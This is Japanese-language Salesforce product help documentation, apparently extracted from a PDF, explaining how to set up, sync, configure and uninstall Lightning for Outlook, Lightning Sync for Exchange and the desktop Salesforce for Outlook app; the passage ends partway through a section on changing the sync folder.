Developer Edition

ユーザ権限

Lightning for Outlook を設定
する
• 「Lightning for

Outlook」

システムを設定して、Salesforce の取引先責任者を作成したり、取引先責任者、
リード、ユーザを表示したりできるようにします。さらに、Outlook Web App

(OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 で、関連する取引先、商談、
ケースを直接表示できるようにします。
1. OWA、Outlook 2016、Outlook for Mac 2016、または Outlook 2013 で、[受信箱] か [送

信済みアイテム] 内のメール、またはカレンダー内のイベントを選択します。
[Salesforce] を選択します。Salesforce へのログインを指示するメッセージが表
示されます。
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2. Salesforce にログインすると、関連レコードが表示されます。

Microsoft® Outlook® 内での Salesforce の操作

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook を設定
する
• 「Lightning for

Outlook」

Microsoft Exchange と
Salesforce の間の接続を認
証する
• 「設定・定義を参照す

る」

Office 365™環境の Microsoft Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、
Outlook 2013 で営業関連レコードにアクセスし、商談を順調に進めることができ
ます。
1. Outlook で、[受信箱] または [送信済みアイテム] のメールを選択するか、カレ

ンダーで参加するイベントを選択します。
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2. Salesforce を選択します。
3. スクロールして、最大 15 件の取引先責任者、リード、個人取引先、ユーザと最大 3 件の関連取引先、商談、

ケースの組み合わせを表示します。必要に応じて、メールかイベント、およびその添付ファイルを複数の
取引先責任者に追加します (システム管理者によって Shared Activities が有効化されている場合)。また、ToDo

を受け入れる他の 1 つのレコード (商談、リード、ケースなど) にメール、添付ファイル、イベントを追加
することもできます。

4. Salesforce レコード (行動、商談、リードなど) を作成します。
5. Outlook 内でレコードを選択して重要な詳細を参照したり、インライン編集機能を使用してレコードを変更

したり、レコードに関する詳細を Salesforce で直接表示したりします。

関連トピック:

Lightning for Outlook

Lightning for Outlook のシステム要件

Lightning Sync: Microsoft® 項目と Salesforce の同期の維持

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソフトウェアのインストールや保守なしで、メールシステムと Salesforce 間の取
引先責任者および行動の同期を維持できます。
メールサーバと Salesforce の間で取引先責任者および行動を同期するようにシス
テム管理者が会社の設定を行うと、生産性が向上します。これは、2 つのシステ
ムで重複して作業をする必要がなくなるためです。Lightning Syncは、自分のデス
クでもモバイルデバイスからのリモート作業でも、作成および管理する取引先
責任者と行動を同期できます。
システム管理者が選択した設定に応じて、Lightning Syncは会社のメールシステム
とSalesforceの間で双方向または一方向に自動で取引先責任者の同期を行います。
また、Lightning Sync により、Exchange ベースのカレンダーシステムから Salesforce

へ一方向に行動を同期できます。
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システム管理者は追加の設定を選択して同期操作を定義できます。次の場合に、設定されている同期方法をシ
ステム管理者に確認します。
• Lightning for Outlook を使用して、すべてのカレンダーの行動が同期されるのか、Salesforce に関連付ける行動

のみが同期されるのか?

• 非公開の予定は同期されるか?

• カレンダーから削除する行動が自動的に Salesforce から削除されるか?

• 予定は、関連する Salesforce 取引先責任者または関連するリードに自動的に関連付けられるか?

Lightning Sync for Microsoft の制限事項
現在、Lightning Sync では次の操作を実行できません。
• Salesforce から Exchange への行動の同期
• 定期的な行動の同期
• 同期している取引先責任者を 1 回の操作で削除

Lightning Sync for Microsoft® Exchange を使用した行動の同期の準備
Microsoft のカレンダーアプリケーションから Salesforce へ同期する行動を選択できます。
Lightning Sync for Microsoft® Exchange を使用した取引先責任者の同期の準備
Lightning Syncを使用して会社のメールアプリケーションとSalesforce間で取引先責任者を同期する方法につい
て説明します。
同期の問題の修正
Lightning Syncを使用したメールアプリケーションとSalesforceの間の同期で問題が発生した場合、Salesforceシ
ステム管理者に同期プロセスをリセットするように依頼します。リセットすると、メールおよびカレンダー
アプリケーションのレコードと Salesforce のレコードの間の接続がクリアされ、その後復元されます。

関連トピック:

https://resources.docs.salesforce.com/latest/latest/en-us/sfdc/pdf/salesforce_exchange_sync_user.pdf

私の未解決の項目
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Lightning Sync for Microsoft® Exchange を使用した行動の同期の準備

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

行動をカレンダーから
Salesforce に同期する
• 行動に対する「作

成」、および

有効な Lightning Sync 設
定

Microsoft のカレンダーアプリケーションからSalesforceへ同期する行動を選択でき
ます。
システム管理者が Salesforce の行動を同期するように設定すると、行動は会社の
メールシステムのカレンダーから Salesforce に自動的に同期されます。
個人の行動が Salesforce に他の方法で同期されることを防げます。
• カレンダーアプリケーションに別のカレンダーを作成し、個人の行動を追跡

します (Lightning Sync は、プライマリの Microsoft® Exchange カレンダーのみを
Salesforce に同期するように設計されています)。

• 同期設定が非公開行動を同期するように設定されているかシステム管理者に
問い合わせます。非公開行動を同期しない場合は、カレンダーアプリケー
ションから [非公開] オプションを指定して個人の行動を割り当てれば、こ
れらの行動は Salesforce と同期されません。
たとえば、次のように Microsoft Outlook®から行動を非公開としてマークできま
す。

システム管理者が最初に同期を開始する前に、同期しない行動を管理することをお勧めします。行動を管理す
る前に同期を開始した場合でも、Salesforce から手動でそれらの行動を削除できます。
他の行動はカレンダーからSalesforceへ数分間隔で同期されます。多数の行動を同期する場合、初回の同期に時
間がかかることがあります。
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Lightning Sync for Microsoft® Exchange を使用した取引先責任者の同期の準備

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先責任者に対する「参照」および
「編集」、取引先に対する「参照」、お
よび

Exchange 設定で取引先責任者の同期方向
が [双方向同期] に設定されている

取引先責任者を双方向に同期する

取引先責任者に対する「参照」、および

Exchange 設定で取引先責任者の同期方向
が [Salesforce から Exchange] に設定され
ている

取引先責任者を Salesforce から Exchange
に同期する

取引先責任者に対する「作成」、および

取引先責任者の同期方向が [Exchange か
ら Salesforce] に設定されている

取引先責任者を Exchange から Salesforce
に同期する

Lightning Sync を使用して会社のメールアプリケーションとSalesforce 間で取引先責任者を同期する方法について
説明します。
システム管理者が取引先責任者の同期を開始すると、Lightning Sync により Salesforce_Sync という名前の
フォルダがメールアプリケーションに作成されます。Salesforce_Syncフォルダは取引先責任者ディレクト
リにあります。Salesforceからメールアプリケーションに同期した取引先責任者は Salesforce_Syncに入りま
す。Salesforce_Sync フォルダを名前変更、移動、削除しないでください。これらを行うと、Salesforce と
メールアプリケーション間の同期が停止します。
1. 設定されている同期方向をシステム管理者に確認します。

• Salesforceからメールアプリケーションへの同期のみが設定されている場合、同期はすでに進行中で、他
に何かをする必要はありません。まもなく、メールアプリケーションからSalesforce取引先責任者に直接
アクセスできます。

• メールからSalesforceへの同期または双方向の同期が設定されている場合、同期する取引先責任者を今す
ぐ Salesforce_Sync フォルダに移動します。

2. メールアプリケーションで、同期する取引先責任者を選択します。一度に複数の取引先責任者を選択でき
ます。
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3. 選択した取引先責任者をフォルダ Salesforce_Sync に移動 (コピーではなく) します。取引先責任者をコ
ピーすると、重複して問題が発生します。

Salesforce_Syncフォルダに移動した取引先責任者は数分おきに同期を開始します。大量の取引先責任者を
Salesforce_Sync に移動する場合は、最初の同期に多少時間がかかる可能性があります。

同期の問題の修正

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Syncを使用したメールアプリケーションとSalesforceの間の同期で問題が
発生した場合、Salesforce システム管理者に同期プロセスをリセットするように
依頼します。リセットすると、メールおよびカレンダーアプリケーションのレ
コードと Salesforce のレコードの間の接続がクリアされ、その後復元されます。
1. 取引先責任者の同期をリセットする場合、メールアプリケーションの

Salesforce_Syncフォルダに含まれているのが Salesforceと同期する取引先
責任者のみであることを確認します。

2. 行動の同期をリセットする場合、カレンダーアプリケーションで同期しない
行動に [非公開] オプションが割り当てられていることを確認します。

3. Salesforce システム管理者に同期プロセスをリセットするように依頼します。
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デスクトップベースの Salesforce for Outlook

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

デスクトップベースバージョンの Outlook と Salesforce 間の取引先責任者、行動、
ToDo を同期します。Outlook でメールを選択し、リード、取引先責任者、商談な
どの関連するSalesforceレコードを表示します。また、そのメールを任意のSalesforce

レコードに関連付けます。
Salesforce for Outlook。インストールする Microsoft® Outlook®インテグレーションアプ
リケーションの 1 つであり、Outlook と Salesforce の間で取引先責任者、行動、お
よび ToDo を同期します。これらの項目の同期に加え、Outlook メール、添付ファ
イル、行動、ToDo を複数の Salesforce 取引先責任者に追加したり、取引先責任者
やリードに関連付けられた Salesforce レコードをメールおよび行動で表示したり
できます。これらの操作をすべて Outlook 内で行えます。
Outlook とSalesforceの間で何を同期するか、および同期方向をカスタマイズできる場合があります。Salesforceで
これらの設定をどの程度カスタマイズできるかは、組織のシステム管理者によって決定されます。
作業の重複を回避して生産性を向上するのにSalesforce for Outlookがどのように役立つのかを簡単に説明します。

最初から完成までの Salesforce for Outlook 設定ガイドについては、「Microsoft® Outlook® と Salesforce の同期」を参照
してください。

Salesforce for Outlook サポート言語
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Salesforce for Outlook インストーラのダウンロード
Salesforce からインストーラをダウンロードできます。
Salesforce for Outlook のインストールと設定
Salesforce for Outlook 設定の管理
システム管理者が設定の変更を許可しているかどうかに応じて、特定のニーズに合わせてSalesforce for Outlook

をカスタマイズします。
Salesforce for Outlook の設定およびツールへのアクセス
Microsoft® Outlook® と Salesforce の同期の概要
Outlook と Salesforce での取引先責任者、行動、ToDo の重複を停止し、Salesforce for Outlook で 2 つのシステムの
同期を開始します。
Salesforce for Outlook で同期している項目の削除
1 つのシステムの項目を削除するだけで、Salesforce for Outlook で同期している項目を Salesforce と Outlook の両
方から削除します。定期的な ToDo や最近更新した項目を削除する場合、特別な対応が必要です。
Microsoft® Outlook® からの Salesforce レコードの表示と操作
Salesforce for Outlookを使用して、重要な Outlook メールに関連するSalesforce取引先責任者およびリードを Outlook

で直接把握します。Salesforce サイドパネルには、Outlook メール、イベント、ToDo を追加できる Salesforce レ
コードが表示されます。
Salesforce for Outlook を使用した Outlook リボンからのケースの作成
FAQ - Salesforce for Outlook

Salesforce for Outlook に関するよくある質問を見てみましょう。

関連トピック:

Salesforce for Outlook のシステム要件
Salesforce for Outlook インストーラのダウンロード
Salesforce for Outlook のインストールと設定
Microsoft® Outlook® と Salesforce の同期の概要

Salesforce for Outlook サポート言語

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook は、次の言語をサポートします。
• 中国語 (簡体字)

• 中国語 (繁体字)

• チェコ語
• デンマーク語
• オランダ語
• 英語
• ドイツ語
• フィンランド語
• フランス語
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• ヘブライ語
• ハンガリー語
• イタリア語
• 日本語
• 韓国語
• ポーランド語
• ポルトガル語 (ポルトガル)

• ルーマニア語
• ロシア語
• スペイン語
• スペイン語 (メキシコ)

• スウェーデン語
• タイ語
• トルコ語
• ウクライナ語
• ベトナム語
Salesforce for Outlook インストーラは、次の言語をサポートしません。
• ヘブライ語
• ポルトガル語 (ブラジル)

• ルーマニア語
• スペイン語 (メキシコ)

• タイ語
• ベトナム語
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Salesforce for Outlook インストーラのダウンロード

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook を使
用して同期する
• 同期する各オブジェク

トにとって有効なデー
タセット

同期フォルダを変更する
• Outlook メール設定の

デフォルトとして
Outlook プロファイル
が設定されている、お
よび

Outlook 設定で「取引
先責任者を同期するた
めの Outlook フォル
ダ」の変更をユーザに
許可する

Salesforce からインストーラをダウンロードできます。
1. Microsoft® Outlook® を終了します。
2. Salesforce for Outlook を初めてダウンロードする場合、次のステップに進みま

す。アップグレードしている場合は、まずシステムトレイのSalesforce for Outlook

アイコン ( ) を右クリックし、[終了]をクリックして、Salesforce for Outlookを
閉じます。次に、アップグレード元のバージョンに基づいて次の手順に従い
ます。
a. Salesforce for Outlook v2.4.2 以前からアップグレードするには、現在のバー

ジョンを Microsoft Windows®のコントロールパネルからアンインストールし
ます。

b. Salesforce for Outlook v2.5.0 以降からアップグレードするには、次のステップ
に進みます。

3. [個人設定] から、[クイック検索] ボックスにSalesforce for Outlookと
入力し、[Salesforce for Outlook] を選択します。

4. [ダウンロード] をクリックします。その後、[ファイルを保存] をクリックし
ます。[ダウンロード] ボタンを使用できない場合、システム管理者に Outlook

設定への割り当てを依頼してください。

システム管理者は、インストーラの .msi バージョンを使用して、インストールを複数のユーザに同時に
リリースできます。

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook のシステム要件
Salesforce for Outlook のインストールと設定
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Salesforce for Outlook のインストールと設定

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook を使
用して同期する
• 同期する各オブジェク

トにとって有効なデー
タセット

同期フォルダを変更する
• Outlook メール設定の

デフォルトとして
Outlook プロファイル
が設定されている、お
よび

Outlook 設定で「取引
先責任者を同期するた
めの Outlook フォル
ダ」の変更をユーザに
許可する

1. ダウンロードして保存したインストールファイルを開き、インストールウィ
ザードを実行します。

メモ: まだ .NET 4 がインストールされていない場合は、インストールウィ
ザードによってインストールされます。インストールウィザードは、.NET

4 のインストールが完了すると、マシンを再起動するように要求します。
再起動したら、もう一度インストールウィザードを実行して、インス
トールプロセスを完了します。

2. Microsoft® Outlook® を開きます。設定ウィザードが開き、Salesforce for Outlook ア
イコン ( ) が、システムトレイに表示されます。ウィザードが開かない場
合、手動で起動できます。 を右クリックして、[設定]をクリックします。

3. デフォルト以外の Salesforce サイトにログインする場合は、[URL の変更] をク
リックして接続するサーバを選択します。使用するサーバが表示されない場
合は、[その他...]を選択して、組織が使用しているカスタムドメインなど
の URL を入力します。

4. Salesforce のユーザ名とパスワードを入力します。
5. [承認]をクリックします。これで Outlook と Salesforceとの間に安全な接続が作

成されます。エラーになるまでは、再度ログインする必要はありません。

メモ: 組織で IP アドレスを制限している場合、信頼されない IP からのロ
グインはアクティベーションを行うまでブロックされます。Salesforceに
より自動でアクティベーションメールが送信され、ユーザはそれを使用
してログインできます。これにより、IP 制限なしにどこからでも接続で
きます。

6. [次へ] をクリックして、システム管理者によって設定された同期方向を確認
します。Outlook 項目を別のフォルダと同期するには、[フォルダを変更] をク
リックして、デフォルトのフォルダ内またはメールボックスのメインフォル
ダ内にあるフォルダを選択します。
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7. [次へ] をクリックして、同期方法を選択します。
• すべての取引先責任者、行動、ToDo を同期する。同期しない項目に Outlook の「Salesforceと同期しない」

カテゴリマークを付けます。
• 個別の取引先責任者、行動、ToDo を同期する。同期する項目に Outlook の「Salesforce と同期する」カテ

ゴリマークを付けます。

8. [次へ] をクリックして、同期する非公開項目の種類を選択します。
9. [保存] をクリックします。システムトレイアイコン ( ) にようこそメッセージが表示されます。Outlook 項

目を同期するように設定した場合、同期方法として [選択した Outlook 項目のみを同期する] を選択して
いると、選択したフォルダにあるすべての項目の同期が自動的に開始されます。各同期サイクル中はアイ
コンが回転します。

Salesforce for Outlook のアンインストール

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook のシステム要件
Salesforce for Outlook インストーラのダウンロード
Salesforce for Outlook のアンインストール
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Salesforce for Outlook のアンインストール

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

1. Outlook を終了します。
2. 同期アイコン ( ) を右クリックして、[終了] を選択します。
3. Windows の [プログラムの追加と削除] ツールを使用し、Salesforce for Outlook を

削除します。
4. Salesforce for Outlook を再インストールする場合、

C:\Users\username\AppData\Roaming\salesforce.com\Salesforce

for Outlook\DB\にある古い Salesforce for Outlookデータベースファイルを削
除します。
古いデータベースファイルを削除しないと、Salesforce for Outlookは引き続き古
い設定を使用して同期を行います。

Salesforce for Outlook 設定の管理

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

システム管理者が設定の変更を許可しているかどうかに応じて、特定のニーズ
に合わせて Salesforce for Outlook をカスタマイズします。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
2. 権限に応じて、次の操作を実行できます。

• メール設定の編集
• 同期設定の編集
• 同期方向の編集
• 競合設定の編集
• 一致条件の表示
• 項目の対応付けの編集

3. 変更内容を保存します。変更は、データが次回同期するときにすべて有効に
なります。変更した設定の上部にある [デフォルトに戻す]をクリックするこ
とで、いつでも設定を元に戻すことができます。必要に応じて、システム管
理者が設定を変更する場合があります。

Salesforce for Outlook メール設定の編集
Microsoft® Outlook®から Salesforceにメールを追加し、必要に応じてメール設定を変更することをシステム管理
者が許可しているかどうかを確認します。
Salesforce for Outlook の同期設定の編集
システム管理者から権限を付与されているかどうかに応じて、Microsoft Outlook と Salesforce 間で同期する項
目、およびその同期方向をカスタマイズできます。
Salesforce for Outlook の同期方向のカスタマイズ
システム管理者から権限を付与されているかどうかに応じて、個人設定に基づいて Microsoft® Outlook® と
Salesforce 間の同期方向をカスタマイズできます。
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競合設定の編集
Salesforce for Outlook で Microsoft® Outlook® と Salesforce 間のレコードを同期するときに競合が発生した場合の動
作を指定します。
Salesforce for Outlook の一致条件の表示
システム管理者から割り当てられた一致条件を表示します。
Microsoft® Outlook® と同期する Salesforce 項目の指定
Salesforce for Outlook 権限に応じて、Outlook と同期する Salesforce レコードの項目を対応付けます。

Salesforce for Outlook メール設定の編集

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

メール設定を編集する
• 「メールの追加」

Microsoft® Outlook® から Salesforceにメールを追加し、必要に応じてメール設定を変
更することをシステム管理者が許可しているかどうかを確認します。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
[メールを追加] が選択されている場合、Outlook に [メールを追加] オプション
と [送信と追加] オプションが表示されます。

メモ: [メールを追加] オプションと [送信と追加] オプションが表示され
ない場合は、システム管理者に [メール to Salesforce] を有効化するように
依頼してください。

2. [メール to Salesforce の設定] をクリックします。
3. 自分のメールアドレスを [私の受け入れ可能メールアドレス]に入力します。

複数のアドレスからメールを送信する場合は、各アドレスをカンマで区切り
ます。

4. すべてのメールを (関連レコードに手動で割り当てることができるように) [私
の未解決の項目] に送信するか、Salesforceで最初に関連レコードに割り当てる
かを選択します。

5. 一致する商談、リード、取引先責任者、または、その 3 つすべてにメールが活動として追加されるように、
[メール to Salesforce] を設定します。一致するリードや取引先責任者にメールを関連付けるように [メール to

Salesforce] を設定すると、Salesforce はリードや取引先責任者のメールアドレスに該当する [宛先] と [CC] 項目
を検索します。Salesforceリードまたは取引先責任者が見つかると、そのメールは該当するレコードの [活動
履歴] 関連リストに保存されます。

6. リードまたは取引先責任者を選択した場合:

• 重複レコードと一致するリードまたは取引先責任者の情報が含まれるメールを [メール to Salesforce] でど
のように処理するかを指定します。

• 一致するレコードが見つからないときに [私の未解決の項目] にメールが送信されるようにするには、[一
致するレコードが見つからない場合、ToDo を作成して私の未解決の項目に送信する]を選択します。この
チェックボックスがオフになっており、Salesforceで [宛先]項目または [送信者]項目のメールアドレス
を特定できない場合、メールは Salesforce に保存されません。

7. Salesforce に送信されるメールの添付ファイルを保存するには、[常に添付ファイルを保存] を選択します。
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8. メールがSalesforceに送信されたときに確認メールを受け取るには、[関連付けの確認を自分にメールで送信]

をオンにします。
9. [保存] をクリックします。

関連トピック:

Salesforce for Outlook 設定の管理
Salesforce レコードへの Microsoft® Outlook® メールの追加
デスクトップベースの Salesforce for Outlook

Salesforce for Outlook の同期設定の編集

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

同期を無効にする
• 「オブジェクトが同期

されているかどうか」

システム管理者から権限を付与されているかどうかに応じて、Microsoft Outlook と
Salesforce 間で同期する項目、およびその同期方向をカスタマイズできます。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
2. 同期するレコードの種類を確認するには、条件アイコン ( ) の上にマウスポ

インタを置きます。
3. 項目の同期を停止するには、そのチェックボックスをオフにします。その項

目に関連するすべての項目はページ上で無効になります。
4. 変更内容を保存します。変更は、データが次回同期するときにすべて有効に

なります。変更した設定の上部にある [デフォルトに戻す]をクリックするこ
とで、いつでも設定を元に戻すことができます。必要に応じて、システム管
理者が設定を変更する場合があります。

関連トピック:

Salesforce for Outlook 設定の管理
Microsoft® Outlook® と Salesforce の同期の概要
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Salesforce for Outlook の同期方向のカスタマイズ

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

同期方向を変更する
• 「同期方向」

システム管理者から権限を付与されているかどうかに応じて、個人設定に基づ
いて Microsoft® Outlook® と Salesforce 間の同期方向をカスタマイズできます。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
2. 特定のオブジェクトの [同期方向] で次のいずれかのオプションを選択しま

す。
• Outlook から Salesforce: 初めて同期するとき、Outlook にあるレコー

ドから、Salesforceのレコードを作成または更新します。以降の同期の途中
で、Salesforce 側のレコードに変更があったかどうかに関係なく、Outlook

レコードに対する変更がSalesforceに反映されます。また、同期したレコー
ドを Outlook で削除すると、Salesforce側のレコードも削除されます。Salesforce

での変更が Outlook に送られることはありません。このオプションに必要
な競合動作設定は、「Outlook が常に優先」です。このオプションは、
取引先責任者については使用できません。

• Salesforce から Outlook: データを初めて同期するとき、Salesforce に
あるレコードから、Outlook のレコードを作成または更新します。以降の
同期の途中で、Outlook 側のレコードに変更があったかどうかに関係なく、
Salesforce レコードに対する変更が Outlook に反映されます。また、同期し
たレコードをSalesforceで削除すると、Outlook 側のレコードも削除されます。Outlook での変更がSalesforce

に送られることはありません。このオプションに必要な競合動作設定は、「Salesforce が常に優先」
です。

• 双方向同期: レコードを同期するとき、Outlook とSalesforceへの変更が両方のシステム間で同期されます。
レコードが競合する場合は、競合の動作設定によりどちらのレコードを優先するかが決まります。

3. 変更内容を保存します。変更は、データが次回同期するときにすべて有効になります。変更した設定の上
部にある [デフォルトに戻す] をクリックすることで、いつでも設定を元に戻すことができます。必要に応
じて、システム管理者が設定を変更する場合があります。

関連トピック:

Salesforce for Outlook 設定の管理
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競合設定の編集

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

競合の動作を変更する
• 「競合動作」

Salesforce for Outlookで Microsoft® Outlook®と Salesforce間のレコードを同期するときに
競合が発生した場合の動作を指定します。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
2. 同期する各オブジェクトの [競合動作] で、次のいずれかのオプションを選択

します。
• Salesforce が常に優先
• Outlook が常に優先

3. 変更内容を保存します。変更は、データが次回同期するときにすべて有効に
なります。変更した設定の上部にある [デフォルトに戻す]をクリックするこ
とで、いつでも設定を元に戻すことができます。必要に応じて、システム管
理者が設定を変更する場合があります。

Salesforce for Outlook の一致条件の表示

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

設定を編集する
• 設定に割り当てられて

いる

システム管理者から割り当てられた一致条件を表示します。
複数の Salesforce 取引先責任者が Outlook の連絡先と一致する場合、
Salesforce for Outlook はどの取引先責任者を同期するかを判断する方法が必要にな
ります。Salesforce for Outlook が正しい取引先責任者を選択するための条件は、シ
ステム管理者が設定します。
自分に割り当てられた一致の設定を確認します。次のオプションを使用できま
す。
• 最近の活動: 取引先責任者の活動履歴関連リストに示されるように、最後にの

活動 (電話やメールなど) がある Salesforce取引先責任者を選択します。このオ
プションは、デフォルトの一致条件です。

• 最終更新: 最後に変更された Salesforce 取引先責任者を選択します。
• 最古: 作成日が最も古い Salesforce 取引先責任者を選択します。

関連トピック:

Salesforce for Outlook 設定の管理
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Microsoft® Outlook® と同期する Salesforce 項目の指定

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook 設定
にアクセスする
• 有効な設定に割り当て

られている

項目の対応付けを変更す
る
• ユーザに設定の [項目

の対応付け] の変更を
許可する

Salesforce for Outlook 権限に応じて、Outlook と同期する Salesforce レコードの項目を
対応付けます。
項目の対応付けでは、Salesforce と Outlook のどの項目を対応させ、2 つのシステ
ム間で項目の同期をいつ行うかを定義します。
1. Salesforceの個人設定から、Salesforce for Outlookを検索します。続いて、[私の設

定を表示] をクリックします。
2. [データ設定] の [取引先責任者]、[行動]、または ToDoで [項目の対応付けの

編集] をクリックして、そのオブジェクトのレコードのすべての項目を表示
します。

3. どのSalesforce項目が各 Outlook 項目に対応付けられているのかを確認します。
4. 変更する Salesforce または Outlook 項目の対応付けを編集するか、カスタム項

目の対応付けを作成します。Salesforce for Outlookでは、選択リストで任意の項
目の対応付けを編集できます。リストの下部で対応付けを追加できます。対
応付けの横にある [X] をクリックして対応付けを削除できます。

警告: 必須のカスタム項目を対応付ける場合、エラーを回避するため、
必ずデフォルト値を設定してください。また、Salesforceによる検証が必
要となるカスタム項目を対応付けると、同期エラーが発生する場合があ
ります。たとえば、一意の値を必須とするSalesforceカスタム項目を対応
付けるとします。Outlook 項目に一意ではない値を入力すると、同期エ
ラーが発生します。

5. [保存] をクリックします。Salesforce または Outlook のいずれかで次回それらの項目が更新されると、項目の
対応付けによって項目の同期が開始されます。変更した設定の上部にある [デフォルトに戻す] をクリック
することで、いつでも設定を元に戻すことができます。必要に応じて、システム管理者が設定を変更する
場合があります。

関連トピック:

Salesforce for Outlook 設定の管理

Salesforce for Outlook の設定およびツールへのアクセス

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook をインストールすると、アイコン ( ) が Microsoft® Windows シ
ステムトレイに表示されます。

システムトレイアイコンから、次の操作が可能です。
• Outlook と Salesforce の項目の同期
• 同期ログの表示
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• 未解決の同期項目の解決
• Salesforce for Outlook 設定の管理
• Salesforce と同期する Outlook 項目の管理 (ページ 1972)

• ログイン情報の変更
• アラートの非表示
• エラーの表示
• 同期フォルダの変更
• Salesforce for Outlook オンラインヘルプへのアクセス
システムトレイアプリケーションへのアクセス

• アイコンが表示されない場合、デスクトップの Salesforce for Outlook ショートカットか、コンピュータの
[すべてのプログラム] にあるアプリケーション ([開始] > [すべてのプログラム] > [salesforce.com] >

[Salesforce for Outlook]) をダブルクリックして、アプリケーションを再起動してください。
• アイコンが無効 ( ) になっている場合、Outlook の起動が必要な場合があります。
• アイコンが表示されない場合は、システムトレイの横にある矢印をクリックして、Salesforce for Outlookア

イコンをシステムトレイにドラッグする必要がある場合があります。

Salesforce for Outlook 同期ログの表示
Salesforce for Outlook のログイン情報の変更
Salesforce for Outlook 同期フォルダの変更
Microsoft® Outlook® と Salesforce 間で取引先責任者、行動、および ToDo を同期する場合は、任意の Outlook フォ
ルダで項目を同期するように Salesforce for Outlook を設定できます。
Salesforce for Outlook アラートの非表示
同期やその他のエラーに関するシステムトレイアラートを見る必要がない場合は非表示にできます。
Salesforce for Outlook エラーの表示

Salesforce for Outlook 同期ログの表示

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

同期ログは、エラーが含まれていたレコードの数、同期中に作成、更新、削除
されたレコードの数を含む Salesforce for Outlook のトラブルシューティング情報を
記録します。
このログを表示にするには、システムトレイアイコン ( ) を右クリックして、
[同期] > [同期ログを表示] を選択します。

関連トピック:

Salesforce for Outlook の設定およびツールへのアクセス
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Salesforce for Outlook のログイン情報の変更

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

Salesforce for Outlook へロ
グインする
• 有効な設定に割り当て

られている

Salesforce ユーザ名またはパスワードが変更された場合は、Salesforce for Outlook の
ログイン情報を更新する必要があります。
1. デスクトップのシステムトレイアイコン ( ) を右クリックして、[設定...] を

選択します。
2. [ユーザの変更] をクリックします。
3. 適切な Salesforce ユーザ名とパスワードを入力し、[ログイン] をクリックしま

す。これで Outlook と Salesforce との間に安全な接続が作成されます。エラー
になるまでは、再度ログインする必要はありません。

4. [許可] をクリックして、Salesforce for Outlook に Salesforce へのアクセス権を付与
します。

5. [次へ] をクリックし、さらに [保存] をクリックします。

関連トピック:

Salesforce for Outlook の設定およびツールへのアクセス

Salesforce for Outlook 同期フォルダの変更

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

同期フォルダを変更する
• 有効な設定に割り当て
